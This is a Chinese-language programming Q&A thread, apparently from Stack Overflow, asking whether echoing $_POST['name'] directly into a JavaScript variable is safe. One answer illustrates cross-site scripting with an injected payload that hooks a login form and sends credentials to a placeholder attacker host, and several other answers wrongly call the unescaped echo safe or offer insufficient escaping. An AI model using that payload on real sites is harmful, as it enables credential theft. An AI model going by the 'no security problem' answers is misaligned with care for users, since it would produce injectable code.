我想将php变量传递给javascript。我尝试了一些东西,但我不确定这是否安全。
<?php
$name=$_POST['name'];
?>
<script>
var name="<?php echo $name ?>";
</script>
人们也这样做了
<?php
$name = $_POST['name'];
echo '<script>';
echo 'var name = ' . json_encode($name) . ';';
echo '</script>';
?>
哪个代码在安全性方面更好。使用第一个代码有任何风险吗?一点点解释就足够了。感谢
答案 0 :(得分:4)
第一种情况:
如果我们想在javascript
变量中简单地指定字符串值,则使用此情况。
<script>
var name="<?php echo $name ?>";
</script>
第二种情况:
对于这种情况,如果要在javascript变量中添加一些json_encode()
,则应使用array
。
<?php
$name = array('name' => $_POST['name']);
echo '<script>';
echo 'var name = ' . json_encode($name) . ';';
echo '</script>';
?>
是的,echo
整个javascript或只是回显你的变量将不会改变你的输出。只需确保您的javascript变量具有正确的包装器'
或者对象的情况下没有任何内容;
答案 1 :(得分:3)
永远不要打印帖子或获取变量而不进行验证。
https://en.wikipedia.org/wiki/Cross-site_scripting
http://code.tutsplus.com/articles/data-sanitization-and-validation-with-wordpress--wp-25536
答案 2 :(得分:2)
根据经验,由于您的POST数据不应该首先为所有用户操纵,您必须记住, 从不 信任用户输入数据 - 表单可能会受到损害。
<强> TL; DR 强>
不可能给你一个是/否答案,这完全取决于你的剧本背景。
让我们想象一个场景。在原始表单上,您可以回复来自数据库的文本:
<form action="otherpage.php" method="post">
<input name="name" type="text" id="name" />
<?php echo $some_text_from_database; ?>
<input type="submit" value="Submit" />
</form>
想象一下,恶意黑客设法通过SQL注入从一个数据库中更改了该文本的内容,一些密码来自作者帐户或其他任何方式;对此:
<script type="text/javascript">
document.getElementById('name').name = 'whatever';
</script>
<input name='name' type='text' value='";
document.querySelector("#login_form").addEventListener("submit", function(){
var data "login="+document.getElementById("login").value+"&password="+document.getElementById("password").value;
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST", "http://hackerwebsite.com/get_passwords.php", true);
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.send();
});
var a="' />
这将首先更改原始输入名称,然后创建一个以恶意脚本作为值的新名称。所以我们得到$_POST['name']
这个新的输入,而不是原来的 - 用户输入将被忽略。
所以,让我们进一步发挥你的想象力。让我们在你的 otherpage.php 中说出于某种原因有一个登录表单。在此页面上执行此操作:
<script>
var name="<?php echo $_POST['name']; ?>";
</script>
将导致此结果:
<script>
var name="";
document.querySelector("#login_form").addEventListener("submit", function(){
var data "login="+document.getElementById("login").value+"&password="+document.getElementById("password").value;
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST", "http://hackerwebsite.com/get_passwords.php", true);
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.send();
});
var a="";
</script>
这会做什么?当提交登录表单时,会向黑客网站发送一个AJAX请求,以明文形式发送登录名和密码......
总结一下:黑客利用您的简单echo
访问他无法以其他方式访问的表单输入。
因为它听起来像一个非常优秀的案例,一般来说,操作用户输入,甚至数据库数据时, 始终 应该小心。你不能总是深刻理解你所做的事情的全部背景,而黑客往往是富有想象力的人。只需使用sanitize_text_field
来清理您的数据(考虑到您在Wordpress环境中工作)将花费时间。
一些好的阅读:
答案 3 :(得分:1)
请注意,如果$name
包含引号,则Javascript代码会中断。使用PHP函数addslashes
来避免这种情况:
<script>
var name = "<?php echo addslashes($name); ?>";
</script>
答案 4 :(得分:0)
您的两个代码都会产生相同的结果,并且在这两种情况下都没有安全问题。
您可以在google上找到有关Web服务器和Web浏览器的教程,以获取更多详细信息。 http://www.tutorialspoint.com/internet_technologies/web_servers.htm
答案 5 :(得分:0)
你做得对吗?这样做没有任何安全问题。